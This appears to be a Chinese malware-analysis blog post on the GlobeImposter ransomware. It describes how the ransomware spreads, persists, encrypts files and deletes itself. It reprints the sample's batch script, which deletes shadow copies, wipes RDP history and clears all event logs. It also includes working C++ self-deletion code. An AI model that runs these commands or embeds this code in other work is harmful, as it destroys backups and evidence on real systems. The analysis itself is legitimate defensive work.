GlobeImposter病毒分析
1、前言
GlobeImposter是一款2018~2019年比较活跃的勒索病毒,它的体积很小,没有网络通信行为。和wannacry一样没有对抗行为,属于比较老的勒索病毒了,适合新手入门分析。
1.1、介绍
Global勒索病毒于2017年5月首次出现,主要通过钓鱼邮件进行传播。2018年8月21日起,多地发生GlobeImposter勒索病毒事件,攻击目标主要是开启远程控制的服务器、攻击者暴力破解服务器密码,对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密,暂时无法解密。GlobeImposter勒索病毒勒索信如下图所示:
1.2、病毒特性:
常见后缀:auchentoshan、动物名+4444。 传播方法:RDP暴力破解、钓鱼邮件、捆绑软件等等。 特征:在%appdata%或%localappdata%文件夹下释放。
1.3、逻辑分析:
解密RSA公钥、后缀名和勒索文件。 持久化驻留,拷贝到%appdata%目录,添加自启动项。 遍历磁盘,创建线程循环加密所有文件,并在所有文件夹内拷贝一份勒索信。 释放脚本temp.bat,删除远程桌面连接信息文件,删除日志信息。 启动自删除。
详细分析:
一、预处理进行五次解密分别释放需要的文件
第一次解密:释放RSA公钥 第二次解密:释放加密文件后缀名和勒索文件名 第三次解密:释放加密文件后缀名和勒索文件名 第四次解密:为了确保程序的正常运行,解密不能勒索加密的文件路径名 第五次解密:释放加密文件后缀名和路径
二、持久化驻留
持久化驻留行为,将文件拷贝到appdata/local目录下,并创建Software\Microsoft\Windows\CurrentVersion\RunOnce注册表项。由于是勒索病毒,所以目的方面和木马不同。不是为了长时间驻留,窃取情报,而是防止病毒未启动,在新的一次开机时,进行启动。
三、遍历文件夹、加密文件
遍历磁盘和文件夹,创建线程使用AES进行加密。
四、勒索病毒加密过程
使用AES算法,对文件进行循环加密。如果该目录文件已经加密完成,写入勒索信。
使用RSA加密AES密钥,然后将密钥写入文件。然后对文件进行AES加密,将加密后的文件内容,写入该文件。
五、自删除行为
通过释放并运行文件temp.bat,删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe命令,删除日志信息。
@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
六、程序自杀
执行 COMSPEC /c del szPath > nul 自杀程序。
测试程序如下述代码所示:
#include <windows.h>
#include <Shlobj.h>
#include <iostream>
using namespace std;
int main()
{
SHELLEXECUTEINFO sei;
TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH];
//获取文件路径名。
if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) &&
(GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0))
{
//设置命令行参数。
lstrcpy(szParams, "/c del ");
lstrcat(szParams, szModule);
lstrcat(szParams, " > nul");
//初始化SHELLEXECUTEINFO结构成员
sei.cbSize = sizeof(sei); //设置类型大小。
sei.hwnd = 0; //命令窗口进程句柄,ShellExecuteEx函数执行时设置。
sei.lpVerb = "Open"; //执行动作为“打开执行”。
sei.lpFile = szComspec; //执行程序文件全路径名称。
sei.lpParameters = szParams; //执行参数。
sei.lpDirectory = 0;
sei.nShow = SW_HIDE; //显示方式,此处使用隐藏方式阻止出现命令窗口界面。
sei.fMask = SEE_MASK_NOCLOSEPROCESS; //设置为SellExecuteEx函数结束后进程退出。
//创建执行命令窗口进程。
if (ShellExecuteEx(&sei))
{
//设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。
SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS);
//设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
//通知Windows资源浏览器,本程序文件已经被删除。
SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0);
//执行退出程序。
exit(0);
}
}
return 0;
}
总结:
此勒索病毒样本逻辑清晰,易于分析。由于该程序加密程序无明显错误,所以想要解密需要硬刚RSA解密。RSA的公钥为4096位。位数超过了工程师能够破解的极限,想要获取私钥,需要密码学家的进一步支持。
MD5:
C120F323C78D046C991F0EFE45F3819C
Reference:
[1] 《网络安全应急响应——技术实战指南》 [2] https://blog.csdn.net/weixin_30566111/article/details/95912042 [3] https://it.rising.com.cn/fanglesuo/19531.html [4] https://www.freebuf.com/articles/system/163792.html
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7978547
- 2 山里藏价值6000亿元黄金?村民发声 7907144
- 3 微信或史诗级“瘦身” 内存有救了 7873723
- 4 中国主张成为G20峰会的一抹亮色 7729780
- 5 朝鲜将军队提升至战斗准备状态 7685211
- 6 男生解锁“滑步下泰山”技能 7597568
- 7 带96岁母亲酒店养老遭拉黑 男子发声 7469415
- 8 女教师被指出轨学生 校方通报 7365295
- 9 《小巷人家》全员告别 7272089
- 10 千年古镇“因网而变、因数而兴” 7162813